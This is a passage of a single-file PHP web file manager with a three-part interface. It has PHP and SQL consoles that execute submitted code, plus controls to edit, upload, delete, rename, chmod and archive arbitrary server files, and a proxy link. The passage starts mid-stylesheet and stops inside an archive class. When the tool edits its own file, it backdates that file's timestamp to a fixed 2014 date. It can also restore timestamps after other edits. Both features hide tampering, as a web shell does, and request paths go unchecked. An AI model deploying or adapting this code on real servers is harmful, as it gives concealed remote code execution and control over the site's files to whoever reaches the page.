url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
